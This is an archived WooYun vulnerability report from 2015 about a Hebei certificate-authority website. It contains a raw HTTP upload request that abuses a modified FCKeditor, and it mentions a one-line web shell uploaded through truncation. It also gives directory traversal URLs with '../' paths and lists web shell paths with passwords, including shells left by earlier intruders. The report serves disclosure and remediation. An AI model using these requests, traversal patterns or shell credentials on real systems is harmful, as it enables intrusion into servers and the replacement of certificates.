当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0143198

漏洞标题：河北CA某站存在任意文件上传&目录遍历&前人入侵痕迹（可替换证书）

相关厂商：河北省电子认证有限公司

漏洞作者： 路人甲

提交时间：2015-09-24 16:08

修复时间：2015-11-12 19:22

公开时间：2015-11-12 19:22

漏洞类型：文件上传导致任意代码执行

危害等级：高

自评Rank：20

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-09-24： 细节已通知厂商并且等待厂商处理中
2015-09-28： cncert国家互联网应急中心暂未能联系到相关单位，细节仅向通报机构公开
2015-10-08： 细节向核心白帽子及相关领域专家公开
2015-10-18： 细节向普通白帽子公开
2015-10-28： 细节向实习白帽子公开
2015-11-12： 细节向公众公开

简要描述：

任意文件上传&目录遍历&前人入侵痕迹（可替换证书）

详细说明：

QQ截图20150924115223.jpg


河北省电子认证有限公司(简称河北CA),是从事信息安全服务和电子认证服务的专业机构
主站：http://**.**.**.**/

QQ截图20150924115440.jpg


1#任意文件上传（fck）

http://**.**.**.**/FCKeditor/editor/filemanager/browser/default/browser.html?Connector=http://**.**.**.**/FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector


QQ截图20150924141629.jpg


他这个fck程序的上传不常见，有稍微修改，我试了好久才弄明白

POST http://**.**.**.**/FCKeditor/uploadFile.action?type=file HTTP/1.1
Accept: text/html, application/xhtml+xml, */*
Referer: http://**.**.**.**/FCKeditor/editor/filemanager/browser/default/frmupload.html
Accept-Language: zh-CN
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Content-Type: multipart/form-data; boundary=---------------------------7df2753a40c38
Accept-Encoding: gzip, deflate
Host: **.**.**.**
Content-Length: 196
Connection: Keep-Alive
Pragma: no-cache
Cookie: JSESSIONID=454387800E67DADB636EAB6845FC46B7.tomcat3; IESESSION=alive; firstEnterUrlInSession=http%3A//**.**.**.**/; testcookie=testvalue; VisitorCapacity=1; pageReferrInSession=http%3A//**.**.**.**/link%3Furl%3D8izrgO4DxUYLoivGfnR6wgdPzOFJ08UzNAGLvFfg3sS%26wd%3D%26eqid%3D9deef8fa000005e00000000456037307; Hm_lpvt_183b93e67b0ea6e62ac50db3b9a646e0=1443078000; pgv_si=s732557312; Hm_lvt_183b93e67b0ea6e62ac50db3b9a646e0=1443066250,1443066721; pgv_pvi=7723277312
-----------------------------7df2753a40c38
Content-Disposition: form-data; name="file"; filename="01.jspx"
Content-Type: image/pjpeg
wooyun    
-----------------------------7df2753a40c38--


QQ截图20150924150733.jpg


传成功了
通过截断上传一句话

QQ截图20150924151427.jpg


一句话地址：http://**.**.**.**/UserFiles/File/04.jsp
密码：023

QQ截图20150924151511.jpg


漏洞证明：

2#目录遍历

http://**.**.**.**/FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=&CurrentFolder=../../


QQ截图20150924141425.jpg


http://**.**.**.**/FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=&CurrentFolder=../


QQ截图20150924141452.jpg


3#前人痕迹
http://**.**.**.**/test.jsp密码admin
http://**.**.**.**/Hebca/1111.jsp

QQ截图20150924151655.jpg

修复方案：

正确配置fck
检查站点删除木马

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：12

确认时间：2015-09-28 19:20

厂商回复：

最新状态：

暂无